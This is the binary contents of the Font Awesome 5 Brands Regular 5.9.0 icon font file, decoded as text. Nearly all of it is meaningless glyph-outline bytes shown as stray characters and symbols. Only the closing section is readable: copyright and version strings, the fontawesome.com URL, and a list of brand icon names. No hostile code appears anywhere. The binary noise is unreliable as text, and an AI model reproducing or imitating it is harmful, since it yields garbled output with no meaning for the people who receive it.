e3.53.5e%" e<     v$"'    9'    9  %?4'; 6J5+#1,"10EJ]      M777H+HH+?=> ?   U/#?6'&'&67%6Dg2 f]"L0 i (2#!"&5463>'."354;2+"=#pGNhN^DD^| W84FF4D8 '575'7''7XeW"XVY@-uKK:55/7 #'+/39=AEIOSW]cko"'3'#4=3#&'7#&'7#57#57#5#5#57#5#5673'5353'53'3#&'!5353&'!'673'53#4=3v0ggbnfggggggggggggg ibgggggggg %ggg S t tVggg  F # E#EhE # % JMgs % R "y-In'.'&?6?>76367'432'&5676322'&'&#&56/&'&74>76  4 5"     %    %; !& 7"     "    } 7#&'&761'''''#'&'7&'7&'7&'7&'7&'7&545'767'67'67'67'67'67'6?27777774&"26"&462654'&5'654'&5654'&5&=#+&'#&'#.'1#.547&+'&54704&5232673275#327.'&,+- "%    $" -+3378:; 7; 16 (."  ".( 61 ;8 <:883JghhOYYY| )              > k  "  %$ '&&&&' #% "   ,' 84 A?GFHHFG?A 48 ',  !hhg~ZZ~Zy   Z p@$         !eB ;Q>;2=4632+""&5&54.+"&=4>2;2"'4.5&6327632 c  !"d  e"!  c $11  CC  a3    %     %     UUvv 3Zes#'"'.5'7#.767>;6&'.'*?>72>'"5&'"&636&'"&63&&54&#"432'.'&'&'./&6762?6!  "J%    $ 0d$#4U  I,-)0) (D@  +(%*//E4:L ?       }\&    4 "  m0Nm([)/)#OO #f 8!,4& ;C K"       22#!"&54636'&6'&'&6323276L2C!  % .B@f@N  *h8 />4VR`,U7"&/.>;2326?>;2#!"&/&;2326?>;2#'2+"./&#"+"&?>3i7!$ $! 8  h8 !$ %! 7  8 !% %! 8  `pK K p pK K p pK K p BRa2#"/7'&546'&'&'&'.'&>76'.'&'"#"07>2#!"&54632654'&"7m'(N7$2     eB^0.]T#E'(56M 0 &7o        `]A@1.]A+%R/:''#/'7''7/5?'77'7?3772>54&"''#/'7''7/5?'77'7?3/3267;?3?'         w"/!!`/7'6'' * $%7&66'5%$ *  $/>,%:           B!!/!( #&4(66'2#&)'$4'4. :&+>/#  @J2"&427&/7654'&54632&#"23767/"&63376>54'ΑΑE9k&$DC?P@W&G9<  R0"%<  D3<ΑgAl$+  GJ6 #;-_ f=92 %++AQ%'&'.547>''&'&'&7>7>576'&'67632%'76"&'".rG;14;3 Y6TZ!   69  `+# ?y2 1)W $ ! /_0RmU- 2G)"   1A<"Rx( @      7#7&546;#5#";W@`KU@R7&2X&gMT8;m.533p8R^4y@*<D/;C\gy'&7670#1#"&#"#'.7672326732+#73264&#"&54?54#"#4>32#5#'26="#532?'3373u     nI%*#6& " n3$#5 "! 9 #$BM%&   a  J ss@'DPj|+534?#"7#!"&5463!276'&5&7&'&#"&#3262327674&+3532>4.#"363232737##'##"#3267.M  @  >      3  Z   &   f$77Z  `  W  ( B/   cQQcl'.871#"&767672#&'.'&763276&'6"  _3+3U*'(%+}"  3>Acf5O===%.$>%===Q    =>==KL !B!!B BB B!!B!B  )  _,  ,_$$d$$G# ^     ##G$$*##F$$6-V7>76'&'&767654&'&'&'.4&707676'&7>7676'.zZfVR  %&-  X+C;0-@(7!5 cRrc v`Y! FE '*#+  FF "U   8b:;8 0  /-;:.IX[x }<JRZqy&'&''.767&'.546767&'&67667>'676&'&&'&'67673276767&'&'&"67&'767&''6&'6767&1.67&'67&'&'76767#"'6'&'767>54&'&'2&"&462*47- ;!!?  +52*  @"!; !" 0 '   .   _ "!4%  #*'z"" 2 !## ',#  }&&),0$  >* ,* *?  C-R'6    JF A aN3$ "!   d $1 0."   ! ! && #'##73'#'%'7>MxNyT)A<  QQ 88 7I)P%+5352>54&5475&54654&+532#"'73254'&'&54>32&#"23#"=#";#"&54654#5654&546;7#"'73254'&'&54>32&#"'2#327#".5&634#"e j+"*    +  K+ !*   #_##-9 !  !  "  !*"    <"6 "  "  !  "  ;"     D+! # &%.B%72'47>&'&'&767&'&''&7676767&'&'5#"&?#"'.7671'.7676727.'&67676'.'&767>'.24767>2630>201276705076767>563206767632266'0"676'&2>65417654'.)1%#             <  M -# !9^Bw ;/%H -HW hK"1:  ! ' $ r  "p[  EW, $    " (   % >%$& )75"*)V Z""#'+      V    :    "-& j3  2   3 37#'e[08ਨ6rrYY  ?'' 373&&& R0n\\Jbb$BB X( 0D7'##7'3'373537#5#53".46767624.'&"27>"&5475"4753#5##5353#5##535&/3#5##535'"475'"&5475'&5&5'43>?##7#'#077'373'k4>>>']>--)d          W   P  &  &  P   YAA ?>@@Y**c+<``ttt %   %D           )) Q((+yy%'.'5#.='./&/'.?#+'&6?#'.5'"&'&'&'&4?673676720326?>7>;67>2?>026?67>?6766>?4567>72>?>7>3>?>6?67>'&%>'&>./.677>/&     :             0             d   :              "  6  $  - 5:/   -= ( %  1%  m7 ,   "   .%#"&#"##"&5&54622>3232632 7%H2B"/"  %P C YNw"" p 7#3#3#3#5B22e332~BLLL L) ?G7573'7$"&546253#57'+'.45454>;654"2'#''.4547&'632&'54#"'&'#5.6?>767>36'7&54"2&&)6:::Y   k   #A  ! :2)@&  .`  x nnw        Z( ( T      6^ 1J   '9( ( y #'#!3'3Y>>Y.CoqD-ttX <D>RYhsw3#267#"&=6&#5375#"'53254.54632&#"#327#".5463234&#"'2#"'5362654&#"53""    ,&_,!SW  %"X. q$#,'  r,/&&? "* )g;$ $^  (  * +  ! $#..3+%(( 2 {B ! v"#"&'53254.54632&#"!090 l\"[TH7 090 iXLBDJ1%;(KO .#8%KV$#327#".547>772#".546)3 &R$Y; :F${% %rYW@76"+"#&#&'&'.'4'231'&'1#"#&50=46;230>76700137654'&'&723230#"#"'4'"'&'&767621450454&'&5<547676362<=4#"&'"#"76760"&747676'4'&'&""+"5&1476767632'00?4656;2'"'&5<:232767>76'&'&5&3232=B ((#_!+9%&)'"U   "  +!  ,  #        ##$   {   3I )**  ( j         "  udZY   IH5@(8r770=476'"'&.7676232#%#!"&5463!2#0&#"376767674#0"1"45.'&'&#"#"6761323250=4'&'&'"&+"176760"1&'&'323254=01767656'&'"'+01054&5&+"&'&'&'&'&230;21676767676&7&'&'&32376213676767674} " $    ' ~%           AH((926D # /$.   $#        `, Y 2eT <j  Y  T<   0    8%'7'8]]\2#!"&546337#53'#35####Qo>BvX`###G#Wttr2#!"&54635#35#75#75# l (xxxxx l  ((P((P((27%#!"&5463!24'&'.+";2767>5__`* Gr Gr66`; ,< , !!5!3535@fYZ@ YYZx /[nz+"=4;2+"&=6/"+"54;2632##"'&=463276/&'&76322'&"'2#"'+"=4>2654.#"&2"&4))`  ))$ $!5 &!+:.?@-!)# $$$" # { Q # "  -   i?[?Y+ %%3%i.?f{"264%2".54>6<.*#:>732"#73262#67>'.*##%64.*#:>732""#WVVV);GR:  x!G   %   % %  x!G     X[z[[zk-M\M--M.,$   G e6,-  "`? G d6, '#"#"&462&'6.#"3762"&4: "#eˏ *?"B]+I+%R::R:  ˏf3. "A0]A+I+:R::R@!-9EQ]i+""'.+"&=46;2>354+";2=4+";2=4+";254+";2=4+";2=4+";2ZI> =2Z$88$#(.##.@@v@@'=Ohv%'&767>;0?'.67>'07>&'&766'&'"6766'&'&7672"67>/07'&76>?'&'67'&767Of9( )%)RM `  0% R w %  =eC !/0'G22+!  ).46EF$&S4( YK$ B     (27@"   G2 ##  <   -  Z   G1&7>01'&".54327>3270>7>" $ &', 5+:3'<#5 )bBU!1&A5f7 "2B  7  `  fX 1!"4( -%##5#546;2'42"72#"&546"32>54&;M ffEE#idfjVuwT4]:vfxxf 9##"hkge-zQSx2^;Uv )B2#"&54632>7'#5"'774'&7">753&654'&idfV xS/"]')""=j@_$" # 0-;;ikfe$Sw )&&"  ]+''" 9V:<13M2#"&5462>741'#327#"&'#53<5#53'7#7654&#"67632&#"3i0>J&fj!<%" [ 8 %-GA xCNvUl>Q&:" !Fi+N<,fe=#82 .50 #Sx<Uv]$ * 0   !%:2#"&54627'##5#535'#53'7'7654&#"'3733idfjlDR@=@@: x7@evU :* QB(+B?&hkfe=c$$88' '8 Sx3-Uv$3V `t  2#"&546"32>54&#5#5idfjVuwT4]:v hkge-zQSx2^;Uv++P**#72"&42>7&'327#".547'703654&#"632&ΑΑ%E5 $!.&'O3XwS4YJ!D. (0 Α/` , 4##0`L0Sw2*!4) (4;2#"&5462>54&#"2+5254.+'2+#526&+idfj4]:vUVuwFF56" ^2 "? hkge=2^;UvzQSxl'Ol.  ,C) ,37;2#"&546"32>54&#".''574575#5'?'5idfjVuwT4]:vM :D @?;Cqq(%'Y-hkge-zQSx2^;UvF @F>>f,.-/:5++ <2#"&546"32>54&>32#".'332654.#"3'idfjVuwT4]:v$#5 <*+'>4$ 211hkge-zQSx2^;Uv*++!;(.$.(+",11 s2#"&546"32>54&2742763276;#&/#"'4'#"'4'"5'#"'0&5'#"/+53767463274>276idfjVuwT4]:vQ :3     4- hkge-zQSx2^;Uv5l< P@ a , \ LH W_ WT Y9 Lb E\Pb  _s2#"&546"32>54&3#&/"/"5'"/"/"/+53767627427627>7427624+54"#";2=idfjVuwT4]:v;3 3+ Fhkge-zQSx2^;Uv,S @: HQ IF N+ I Z 9P CT ^-  E3 ]  4<@2#"&546"32>54&2+"&=#".=4732354735##3idfjVuwT4]:v6 ) 7lllhkge-zQSx2^;Uv6 6se (C (192#"&546"32>54&2".4>"76'&3254idfjVuwT4]:vr:* *:* G,6 %=  ,hkge-zQSx2^;Uv<+/6/++/6/+Yd .i Y?A9AMaf3#7'#&5#"&547#"'#6=3632672354#"#632'3264&"75"326%673#"&54632'.^"c$=) ('  &. C)!"C0 %7--/ d)+!*)*)$+"--6t B   P($ !!+m00  )!$*&&Yew6"&46:#".547#>''.7#&'<>767&7'.5457>32672%676#&#"46>'.#0#"'32?76'&'&?&'&''#"/&547&547&'67676%73  `   1"?*/(  (    /$9  2## &h   ~,     &3 /CWn&    .;,N  <+'!(#      +%;?  &  73'.45454>?62<.'&'.3547635476 A)fM 316  ./KD D/ .  H2,  %-7 ..-   4r ??$ rE2EK%#'#5.5463253:654&#"22>54.*#27&#EXCp(!%cfxON-E8   Ft`[     R9rK >> lGQr4ZC'A % #HBCN] <_i!!%5"'&'>54&#"'22#23235".4=372><1#3#"=463274.#""'5632@ <   $     d %@r!m.*     -E##[g7'&'&7>'&'47>76327'&5<5&'&"#&=76767676'&76760'.67276 3$# (f42,E%?  d(\N;  ,:m 4!Q!e"( !!%$ ,y. " s7%G. +'  1+1,i 7   *%c2"&4264&"2"&4264&"%'''"'7&'7&'7&'7&47'67'67'67'627777'ΑΑƍƍ|||J=7$  $6>JMRSNJ=7$  $7=J NSRΑƍ?|||'$7=JNSSNJ>7$  $6>JMRRMJ>6#  ' '?/?557`$##T))33d#$$T33),,+y--::"++,::- DLRX^dj"&462"264'./'6373#'#5&''7&'#5367'76?#.'%#63&%3'6&'756_ΑΑ8-18.%-D  ;; RR ;;   ;; RR ;; " ""%.8--8.8ΑNr" "+R ;;  ;; RR;;   ;; 4-8  %.8p.%-88-%L""2Js{3&=4'&'&">7#C26&'676&'676727""'&'.232.#"'.#"&'5>326="264&2"&46"2642327367632&#"'5.'"&'6  &      O      &) =!(&? :(!1  &(: ?&(!=""7,  * *  xP5[= y!')      )&@  @L"" 3   ++ r%>7#./.>?.>?677'7'=57&'>&'>&'>4'   #,F**E-"      &   "????,      J ( &#+!''! '5,* 5)# 0[>0 60+ !<-'D$0 7...7 0 U *1P-1-713D# &'544J{&76567<'45&'&54545&567>767>�'&5&'&7674'&'&'&676567>75'&'&/7<5/.454'&'"'&'&?'&'&'414767676367654'45&5&'&'&'&'&'&'&'&/5'7>32674&'&762763676?32?#"367>7676767674676761#"7&54'&54'&5476'.'4'4'&54'&43607&'.66'&'67&                I W D)! I&+%& #%@        8     '                   &-    %      9,:L8'', % % ^^K2322230##"'"'*&#&#&'&'&'&'&'&'&'&'4&54&45&547<65<656167>567676767672636212":372676767676767676767676'4&1&'&'&'&'&'"#'&67"#"'&'&'&'.5&'&'&7676767"'041465<5<5<5456767676767654'&'&'&'0&673676745<5<5<645<5<5<5454512174767676763632367676?0'&'&'&'3"#"'&'.'&'676767'&'&'&'&'.'2303232763667676767464567<5<545<54'&'&'&'&'"'47676767610#4&'<'"#*#"#"#41>12676345"'.#4):3670254>721633230"""02220#*#"#"14=46123#"'&'&'&'&'&'&'.50'&'67<7676%0#&'"/476767676767676367676747654'&   ( +        5  +    +      (!  '/  u              f      "       &            t        '    2#  ,A    &   -<   #     2                      : $%                     &&,               jp66&67676327676765&'7>767677676'4&45>7654'&'.'&'5>6767`I\*,(!B. %$6!  # */1!- 0! (M;753 93 -!"       ' #!  -*6 $/($/<4-I#":,14^0 !)1'62777''''777&47'6"264&2"&4w [  [ wF;FF;Fw [[ wF;FF;gHIfIH44H4F;FF;Fw [[ wF;FF;Fw [  [ HgIIf%4H44H +5?IS[iq2"&4264&"%#3##5#'353#535##3353'7'7'7''7'7'7'7'7'7'7'7'&2"&4#535##3353'"353&2654'#3##5#'?'7'7'ΑΑŠŠTT0v%IS|S   x  켅BTƝ(u4T_Fp?}1TT@s,  ΑŠ¿#/.R\8P]        R !3R2RARAU}XM<3?8 XF   ''.'4.'6'777''4&467&7467>'.'.67'77'??'?67.67'''''776'7.'5'7'677&'67'677&'6'4&''&'47'67&'6       '' Y:k, !,l:Y '   E (  ! ' ,  '   ((&""!# % % "!=2b']<&1xx1&<]'b2=!"  % #!""&((   n ,   >' L  '  J '?  #Mq7"&4632.4>?3:1>'.0#&7"#"&54>32#"#7>.'.#"56&546212#".'&5./>7>5<13L  M)u$=,# [  $46  0   M'pH x  >-$ [ %6N$ \ &6}  M'wG    ?.$ [ %41    M(m  +39^ )%&'&76&"&#'476322'"#"'&6"&7662"&31&'46&'&#"#".4>76%2.'"&'4547'&>017626'.'67>?&'&6'6720'&676'&'&'&'&'4'&'&#""#.#'"76767676.&'&27'53>2241&#"15674#"1675#K8   =   2 3=E>4)(22, ,?"  ,& > 8<1 +Jq 9,'    H( (  ((   G    -/ # ,37,! #  :"qT1 6!F a       -        '?'2"&45'5'5'757757"!!"EΑΑ;<<;!""!""B!! ΑW;X2>54&"j  ?$B/ih-P $=#MnNN  /B#JggJO!##=$6MMmM (%#"&462#.5467552>54.'7"&&6'SuoPmm&'*#3533'2+5'2+57"326&2"& l u  * C !6** l  m m \f$$e# f""T!&!(!55#$$.S2#"'#"'.4&54632>32>654.#"#'&"#'&#"32?3327&1  C==C  3%- $ .8  ,- : -,A ! '( " ~/$ N+F66E7"#  -# #s   %"uu"%?B:Uq0467>23>'.'.'&"+'67>27'#5<>7>7>7'&'&#'7'6767>  r B     B #)  S$ *+  SS# +,  < # =1 1> mm  S{ = > {| ? ? 2"&46&'&"&'.26ΑΑ  ARA   PfPΑΌ '33' 1??L#".'&4>3226'&<74#"#"#6=276&#"133:325&53" ga gb% P%P@&m5? &m5?$VB%/i$ta-0'2+"/+"54;276;20Cn33E6lΆ "2#!"&54635#'#3577#5##R$=>=>>>=\>==.MMxMMxlii #'#'#735737537#75'3#_lVb(m{WaCHU4N4POI 6SPߌHH@\?q?235';er5F=f5+Q GT`3#'#75#37'2#7''67#6;65#>7>3732#%'67>''>+#"'&'236=#"&/35"'&'26?#036z1*aI Z=6@B 4  X3 ) z    l &) t,+<o,^  !A" 1L3    '#(  ! :LI  G d e5>2.'>?#535#5##3#3&#"3267#!"&5463&632#"z)d Xmm3nn\ Q.:-.0-MKa ))#-"K7?C)$ - 33/#/-$"6 )4)! Id#n'1Uk%'#"'&54&5&7461/>36767'767'36&'&5476736'>6762#'&3&476726#&5�&'&#27"/67676'&7676'6=&'/7'7*#67654'&'&'&#"'#&?#7"ȼ363236767'"'5767"'"'&#"#7?7>4.5#&''.#'".'&'47&''&'367.'''2>7'2&/?&+57''#776.'&'.'77#6'.22077'327''7'3''76767/'#7#"#'67&7'&66'.67'&'&6327'52&#"#5#63'647674>7632.73230765654'&6?#&3'&'&547&'676 ]\BA(  ! -5  #!     o      (        )/        (        8: $0 @8 '&  ,  )    / 6 ,       I,, !  +&+       7' F       (      \x<=Z-#  & -                  !*       $ &         <    ) ! $,,   +/   0 H      v % 03    21        C     mp!"76743765&54'&'3#6743627>7>46'4&#*#.'&3!#"#23#5232'0&'&32&2>767&'.'+er)"s  7S0,   t  d  (  k  IH       D-<@') hZ&G!-1#.5"=4547>7'0.#0>162;2='#"'&'&#"2*&543:65654'&"#&72012=432720;&'27215"5&'4327&'&'0.'#"#6272'&'4&'"013'&672=674#"#"'67625654#&54632'>3"=&'&7>3201&'&6#"'>5454'"572725454'"4732#32#*#"'&'&*32%&+"#&76'&'4#"#"#160+"72676742325454'"7032#";276"'67236"54&#&#"7636'05&#&36762#"#"43656'1"54'&767456'.7623>76"+"&3656'4'"43:'32#"#"4;265454'"#&63230#:3>7+"0'&1&541474+'3676&'&"&5653276&/"326&3645.' gi=81  aa  .  0  ()'#Zc4W &(*'+_     !   "  +.e  +g!  "   &$(  YeV  j    U{}~:< # t87 87O&   C  FGC=#'SAGJBJ7z  H1    ! "R  %&  )/('E3n  q!: g  &3: $&e Z&"'[r~'<JX_l%".5&&7'46?67632766''7&5&'46&'.<.523036'74'6'67&672>30?2&&&2#"'75'654%'4>2&16&#"&'6'3&74'&7&'&'&7276&5&633#65#6'&67"'6&261&>&'707&#&#'5063632*#75'35'32'22>=4.#":>5#54.*#3#75'3#372#".>26&"'#75'37'3'&'320637+676=40:>4."&3#.'#75'35'#6'254.*#&63&674'&':  $ '  !;//   *     89e<QI4%  #J*,-*I!  #',')r        31NL! d    l    < M<  N  B&&U '"O U,0 L '*i     #5>6+53%2#!"&546354&+32675#"735#535#57#'#r (n0/e? >5 &! & F hhGj } &&srr!GKO'36767&'&7>672&1&'&67.'.'1'&'6 37'7:  )"AJD!   !& 5=*9   & &K|D!   % 6   x2K^66'6%'#"&/45467'&54>67676>7>.#0#"77''77''77'?( Wboo w  QVRO9   X2$ s0mC=J!q: . >/ .18'8   ,-2$3   $! ,s,- -,~,'}%Wah*=U`W\by76&654&'&#6'76"10'4?#&'2#4'5654'&'654&#"#./>6'&7'7'>15.'675&'#&'56767.#5675".'565'#34>307&'.'&7"2#04/5"267&'4.17676767#'4.56461##&563&'5#6376535"'&'474656'.#672<15&7507&7>7#7.767.7&#76&'&&561"&'2157>7202'3>17&67>7&'&75."&7#76'&7627&'24767?.3'45'3654&5473.#&7'7'"'0#&7''''7''&'.?'>0327'7'067''&/67'7"'76%63''>'2#54.#"#&'56#"7>'&76567"& \9+aWYc.: 3o   I9E|,r6CIo*    8  7   &        +     .        &HL%CA"    ; _ (   !$ $*"  = %[UCB-K+m  AnI3,MsB<27  @  f  D(P G ,  sR      ) 1G9Si 2& G         -      P7  y   Y%  \ *    /B%=A=  + $ *   ;   !^+ XF D;7%+P  '/#b (& |2=; (P@( 7   ) % '73# 7 F!v'a_jk]A 2Nem Ql 0:?'373'7'373'2#"=432+"54"2545<632+"=432+32+'+"5'#+"=4;2'54+327+"5'#+"?4;23'+"=#"=4;2+2+"=4;2+32+'2+"=4354"2'+"5'#+"=4;2'2=4+72+3+"=4354+323'7'3?#"&'&'>7&'.7.5467&76326&'."&'>%16767632.#"6'&'67#"'32767>.'&'&'67&'.'&#"&'67&#&'6703273&'27327672767&'6753'32+"=4;22=433'7'37'7'?2+"=4;21+;2+73'7'3:a N   P    UJ .   `  --=8 "b2-( *#  1A7 "a3+* )(I3 *+.X&%0-XT $ (  (   4:9:$$$$ m  6 ( $<; ; ;*265@?((4$ $ @   ! @ 300/[+HF ?@  N> $2[+GG >A 'Q;  ">@6'T ">@'   +-- _442 2U?d 3#'#<ުlJOM7!!"&'%32#7;; )X =tGg f G  7+"&?>762+"'.>2  }b   ' 6;J*H3G  < Z#+37;CGKOW_573'7#'5#'73?5#'735%53#'%'#57'#'7'57#7'537'#5'53'357'#573"Lv -#78-  88ZL B8 P [Z ZZd- M!LNZZ L/-!mj87, z P!Z^Mllv88 -78- M -7- -N[[.N [[ LG- MdO Z[[- Mj l/ -77 * O [#F767>'&'./&"&'&'.?>>7076($533613373'3#73'3#7333#"&7;VRD#d)3 F>(>M[pu- N;ZIIM R:'(:8^ 75< 7 N55.7"1"&5064.'&>1250616232>1000#0&XVWAG HIgEESVY]w<~eNNf0z?}Z 48?KR^%#'#5##"&'#73&547##53#3>>32353#3733.26&#"5#535#535#737'#3'7#'#3J6@ "V# * @511m<7 32  8w> /&! 8878_18228(.-&(..&= " !%# M)L1+E 3,"(.99,"4233 $*06<BIOU2+"&=64/'.6'&57'67'67'67'67'&5547'&/67'726&+"=46>54&'&+"#";2#"&#36=367'67'67'67'67'67''6765']77"#5"1$.'.4178";@H "+ +>* !! .OB  $ 6#0$.(26)@ \ 8!6% $#$(6  8 %\@I , /  =,8/!  >38$#$(5 * Ak$#"&463"&463".546;2"2"&4U2G22##22#'2##2':F22F2#22G22F2(#22#'2F22F'/AI2#!"&54632=4"2=4"2=4"2=4">.""'&"6754"2!!!!KKJC 02 :<!!!P!R- )) 0N2#!"&54634&32>27'#&5676.7#3547#36737676  & " D  !M ".- nr  4 5&($O$]  g$ %?&'&47677'IM&LLLJM&|LLL sCR%.'&76'&'&756'&'.676>'&6332>7262654&+"3q#1+-1(''(1+,1)$  55)"55 "%% {;  0,A@ -/";,- 20-VV-02(%%lt| *6>KWcm%+"'&'.'&'.6?4>7&'&'&7&7&7&7&66366632362636730764622>6626'6.>.677&'>7&'67"'67&'67'67'467'67"#"57&&7&461&7&7&5&&2656&'>7&'>&'&'&'&'&'0&'&#'''#&7676'&6&'.&>.26'4&&754&"266&'&67>&'&t %$$ %            % +/:%.$ )=D         $"$ D=)          7#1.+p  g  ! -%%.%.~&%(I#1"#1"R  & #  %2$  $2%             # "%'^/+ /* !#     l   "!     &$(%%  )$l*'  +. +   ~  -*. Y $)  '5%254'.'.#"#"&#"7#".54732654&VRB   *6I}7+54&"R;`;Rww()+3+=qffq=TwwT## %%}bkw7&'367#".#.#"#.'&676&'&32>36#"&'47>'&'&'&767>6&'0#"72##".5463224"[& "0 74  1 . %&66 *&    $$3  J$D33?I<.$ &    Y  <      / E& -   0 ($#>04"/     )1>J2"&4$>.2654.#"7&47'>.767''7>?&'&'&6ΑΑ3  % +''+  %%.R+/2.%%2/+RΑ?      2(^(2+  E$4//)e4$)0|';FSk753"&=36'>.5!5&>'>'#7>54.46&'56'4.g!#!_J[ !,*f'\TY%1,*"'- $/!!  O; #7${gh (,   +!("'"3#E_      %`5H%'&5>.#&'4>76;2723$#>7%!!$7>&'.#.'&/ %:'Y44%f" !DY QH5  ,]#  QY%'&>?&/'&7'.67&7.76767>30767"12676326"&462.#6'676&'&&'&"&"7327676767>$0   /         \ΑB    %  /" g    5!     '   ΑΑ / -  "1     1K7676'&>'&'.#"767&'&63270#"'#"&767>32% #  U    j /&'., ))"Bd ;179971; j$&(K.%-$$x 2J  %;38,);".C%I2P>>P2 %$EU ?GOW%'"'&'&''&7'&'&767&'"6767&667667>'&'7&'7'&'676'&'47.#267&'&&'.67&'672>1#."6&'&2&27& {%' 44# &W%8 !4)+ ! l!% /  1$Dc;8   4A0!" "DA '.  $ $H +$& %+H/&;2,  &.: >D $1* j +i  5)''   O_JO ::+'M.&   3'   )B%+532'#532"7#!"&5463!24'565<.+:62>76$  QQ2KK ,,,*,n1% .  5Q  DH  ,,*,,9 (  +9%"/&?622?62'"/&?622?62%&?62"'///CaaCCbbCC[[[[#+2+53!#54632#532#14#4&#++%@=X+?,a+pP+*@@%W>->aPpx#*"#7&62326514.'0.'&&'&'&'467:62>7>5454>2#+"&772'.y  mO "       6    A    (H (<o 1   +. (    6wA )Hy632#"&5"&5#".5"&5#"&=4632327277 '.67672"3>57:>4&'."&".''"15>7H iO1))1#C $  ;<  $ C   #NN#     , G,  8    8} G[M {f") % %  )"  /) Eh 0Lko7#6236#"'&54626'&=4%''.'.67&>3263264'&562506350'&#"'&1327"11130>32&176=4.74+";257&#"32765'4##"53250<.254'&5432;'06150'&#"#"'41"374+47632572'&#";"#"01376767325&#"32767&54+";2=476256750/#"432125656#&327617&#"132765'4##"532505<.2# e@ &6 #)-("#:  8":"/ #E8"     $  8  %"    P       6*   / 6 %$  BT !#19:>2 #  #?D  =    " O2 2   : 4 6   8 5'( ` :7#"&46;2+";2+"&46;26&>732>=4&+64'32#r);;)r);;) HA  v!.$;R;"(;R;"x / x ./!%2"&4%>'4&*0.'&74676&676/&76#".76&"767>74>5>56&'>36ΑΑ~      1        '!     Α    *       !144  '7'$   #  &EKQd%#"&'*'#"#.7&'&632>7>32>76.#"#623>32&46646&67>76"& >> ?%  BY0N|t&5P,@n  "<2 H [ $#.( 3@r-*1 2-I'` ).S>%M; * -  !! !! )   (%0V'&6727632#"'"'.767".'&63:%&5463237632+"'.5463033267*P_  _PT  -*vO QM n&'   (!I     H!n    *&   +%"/&4?276&'576&'6&'762  2   / /23(     3 {$ % z.. 24) 1=AE7+5327!4.'.5432;4&#"#"5#32>74&+3532>7#7#3@    " ~4!100*@    D/ NV6# k%1 , Gm! 4 :Q  F :/ J 4 XL . * ] :u * Copyright (c) Font AwesomeCopyright (c) Font AwesomeFont Awesome 5 Brands RegularFont Awesome 5 Brands RegularRegularRegularFont Awesome 5 Brands Regular-5.9.0Font Awesome 5 Brands Regular-5.9.0Font Awesome 5 Brands RegularFont Awesome 5 Brands Regular329.984 (Font Awesome version: 5.9.0)329.984 (Font Awesome version: 5.9.0)FontAwesome5Brands-RegularFontAwesome5Brands-RegularThe web's most popular icon set and toolkit.The web's most popular icon set and toolkit.https://fontawesome.comhttps://fontawesome.comFont Awesome 5 BrandsFont Awesome 5 BrandsRegularRegularFont Awesome 5 Brands RegularFont Awesome 5 Brands RegularFont Awesome 5 BrandsFont Awesome 5 BrandsRegularRegular      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~twitter-squarefacebook-squarelinkedin github-squaretwitterfacebookgithub pinterestpinterest-squaregoogle-plus-square google-plus-g linkedin-in github-altmaxcdnhtml5css3btcyoutubexing xing-squaredropboxstack-overflow instagramflickradn bitbuckettumblr tumblr-squarewindowsandroidlinuxdribbbleskype foursquaretrellogratipayvkweiborenren pagelinesstack-exchange vimeo-squareslack wordpressopenidyahoogooglereddit reddit-squarestumbleupon-circle stumbleupon deliciousdigg pied-piper-pppied-piper-altdrupaljoomlabehancebehance-squaresteam steam-squarespotify deviantart soundcloudvinecodepenjsfiddlerebelempire git-squaregit hacker-news tencent-weiboqqweixin slidesharetwitchyelppaypal google-walletcc-visa cc-mastercard cc-discovercc-amex cc-paypal cc-stripelastfm lastfm-squareioxhost angellist buyselladsconnectdevelopdashcubeforumbeeleanpubsellsy shirtsinbulk simplybuiltskyatlas pinterest-pwhatsappviacoinmedium y-combinator optin-monsteropencart expeditedsslcc-jcbcc-diners-clubcreative-commonsgg gg-circle tripadvisor odnoklassnikiodnoklassniki-square get-pocket wikipedia-wsafarichromefirefoxoperainternet-explorercontao500pxamazonhouzzvimeo-v black-tie fonticons reddit-alienedgecodiepiemodx fort-awesomeusb product-huntmixcloudscribd bluetooth bluetooth-bgitlab wpbeginnerwpformsenviraglideglide-gviadeo viadeo-squaresnapchatsnapchat-ghostsnapchat-square pied-piper first-orderyoast themeisle google-plus font-awesomelinodequorafree-code-camptelegrambandcampgravetsyimdbravelrysellcast superpowers wpexplorermeetupfont-awesome-altaccessible-iconaccusoftadversalaffiliatethemealgoliaamilia angrycreative app-store app-store-iosapper asymmetrikaudibleavianexaws bimobjectbitcoinbity blackberryblogger blogger-bburomobelexperte centercode cloudscale cloudsmith cloudversifycpanelcss3-alt cuttlefishd-and-d deploydogdeskpro digital-oceandiscord discoursedochubdocker draft2digitaldribbble-squaredyalog earlybirdserlang facebook-ffacebook-messenger firstdraft fonticons-fifort-awesome-altfreebsd gitkrakengofore goodreads goodreads-g google-drive google-playgripfiregruntgulphacker-news-square hire-a-helperhotjarhubspotitunes itunes-notejenkinsjogetjs js-squarekeycdn kickstarter kickstarter-klaravellinelyftmagentomedappsmedium-mmedrt microsoftmixmizunimoneronapsternode-jsnpmns8 nutritionixpage4palfedpatreon periscope phabricatorphoenix-framework playstationpushedpython red-riverwpressrreplyd resolving rocketchatrockrmsschlix searchengin servicestacksistrix slack-hashspeakap staylinked steam-symbol sticker-mule studiovinarisuppletelegram-planeuberuikit uniregistryuntappdussunnahvaadinvibervimeovnvwhatsapp-squarewhmcswordpress-simplexboxyandexyandex-international apple-pay cc-apple-payflynodeosireact autoprefixersassvuejsangularaviatoemberfont-awesome-flaggitterhoolistravastripestripe-stypo3 amazon-pay cc-amazon-payethereumkorvue elementoryoutube-square flipboardhipsphp quinscapereadmejavapied-piper-hatcreative-commons-bycreative-commons-nccreative-commons-nc-eucreative-commons-nc-jpcreative-commons-ndcreative-commons-pdcreative-commons-pd-altcreative-commons-remixcreative-commons-sacreative-commons-samplingcreative-commons-sampling-pluscreative-commons-sharecreative-commons-zeroebaykeybasemastodon r-project researchgate teamspeakfirst-order-altfulcrumgalactic-republicgalactic-senate jedi-order mandalorian old-republicphoenix-squadronsithtrade-federationwolf-pack-battalionhornbill mailchimpmegaportnimblrrevshopware squarespacethemecoweeblywixello hackerrankkagglemarkdownneoszhihualipay the-red-yetiacquisitions-incorporated critical-roled-and-d-beyonddevfantasy-flight-games penny-arcadewizards-of-the-coast think-peaks reacteuropeadobe artstation atlassiancanadian-maple-leafcentos confluencedhldiasporafedexfedorafigmaintercominvisionjiramendeley raspberry-piredhatsketch 